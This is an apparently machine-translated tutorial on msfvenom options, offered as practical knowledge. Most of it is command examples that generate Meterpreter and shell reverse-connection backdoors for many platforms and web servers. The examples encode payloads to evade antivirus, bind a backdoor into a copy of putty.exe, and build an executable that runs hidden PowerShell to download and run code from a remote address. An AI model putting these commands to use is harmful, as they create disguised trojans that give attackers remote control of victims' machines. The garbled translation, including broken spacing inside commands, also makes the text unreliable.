This article is to share with you about the example analysis of Msfvenom parameters, the editor thinks it is very practical, so I share it with you to learn. I hope you can get something after reading this article.

Parameter description:

-p (--payload-options)

Add load payload.

Load this thing is more, this software is based on the corresponding load payload to generate the backdoor under the corresponding platform, so only choose the right payload, and then fill in the correct IP,PORT can generate the corresponding language, corresponding to the platform backdoor!

(--payload-options lists payload options)

-l

View all payload encoder nops.

-f (- help-formats)

Output file format.

(--help-formats lists all file formats)

Executable formats:

Asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

Transform formats:

Bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

-e

Code is free from killing.

-a (--platform-- help-platforms)

Select Architectural platform

X86 | x64 | x86x64

Platforms:

Windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o

File output.

S

The maximum length of the generated payload is the file size.

-b

Avoid using characters such as: do not use'\ 0f'.

-I

Number of encodings.

-c

Add your own shellcode.

-x |-k

Tie it up. For example, there used to be a normal file normal.exe that can bind the back door to this program through this option.

Example:

Example 1 (simple generation):

Msfvenom-p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111-f exe-o / Users/jiangzhehao/Downloads/1.exe

-p specifies the payload,payload followed by the option of the payload

-o specify the save path of the payload, including the file name

Example 2 (replace the specified code):

Msfvenom-p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111-b'\ x00'-f exe-o / Users/jiangzhehao/Downloads/1.exe

-b,-- bad-char replacement code with broken characters, such as'\ X00\ xff'

Example 3 (specify encoder):

Msfvenom-p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111-b'\ x00'-e x86/shikata_ga_nai-f exe-o / Users/jiangzhehao/Downloads/1.exe

-e specify a specific encoder

Example 4 (bind the backdoor to other executable programs):

Msfvenom-p windows/meterpreter/reverse_http LHOST=172.16.0.102 LPORT=3333-x / Users/jiangzhehao/Downloads/putty.exe-k-f exe-o / Users/jiangzhehao/Downloads/puuty_bind.exe

-p windows/meterpreter/reverse_http LHOST=172.16.0.102 LPORT=3333 specifies parameters for payload and payload

-x / Users/jiangzhehao/Downloads/putty.exe executes the software to be bound

-k is separated from the original note file and a separate process is created

-f exe specifies the output format

-o / Users/jiangzhehao/Downloads/puuty_bind.exe specifies the output path

Instance 5 Windows

Msfvenom-platform windows-a x86-p windows/meterpreter/reverse_tcp-I 3-e x86/shikata_ga_nai-f exe-o C:\ back.exe

Msfvenom-platform windows-a x86-p windows/x64/meterpreter/reverse_tcp-f exe-o C:\ back.exe

Instance 6 Linux

Msfvenom-p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=-f elf > shell.elf

Instance 7 MAC

Msfvenom-p osx/x86/shell_reverse_tcp LHOST= LPORT=-f macho > shell.macho

Instance 8 PHP

Msfvenom-p php/meterpreter_reverse_tcp LHOST= LPORT=-f raw > shell.php

Example 9 Asp

Msfvenom-p windows/meterpreter/reverse_tcp LHOST= LPORT=-f asp > shell.asp

Instance 10 Aspx

Msfvenom-p windows/meterpreter/reverse_tcp LHOST= LPORT=-f aspx > shell.aspx

Instance 11 JSP

Msfvenom-p java/jsp_shell_reverse_tcp LHOST= LPORT=-f raw > shell.jsp

Instance 12 War

Msfvenom-p java/jsp_shell_reverse_tcp LHOST= LPORT=-f war > shell.war

Instance 13 Bash

Msfvenom-p cmd/unix/reverse_bash LHOST= LPORT=-f raw > shell.sh

Instance 14 Perl

Msfvenom-p cmd/unix/reverse_perl LHOST= LPORT=-f raw > shell.pl

Instance 15 Python

Msfvenom-p python/meterpreter/reverser_tcp LHOST= LPORT=-f raw > shell.py

Example 16 exe uses exec to execute powershell backdoor

Msfvenom-p windows/exec CMD= "powershell.exe-nop-w hidden-c $M=new-object net.webclient;$M.proxy= [Net.WebRequest]:: GetSystemWebProxy (); $M.Proxy.Credentials = [Net.CredentialCache]:: DefaultCredentials;IEX $M.downloadstring ('http://192.168.0.104:8080/4WFjDXrGo7Mj');"-f exe-e x86/shikata_ga_nai-I 6-o msf.exe"

The above is the example analysis of Msfvenom parameters, the editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.
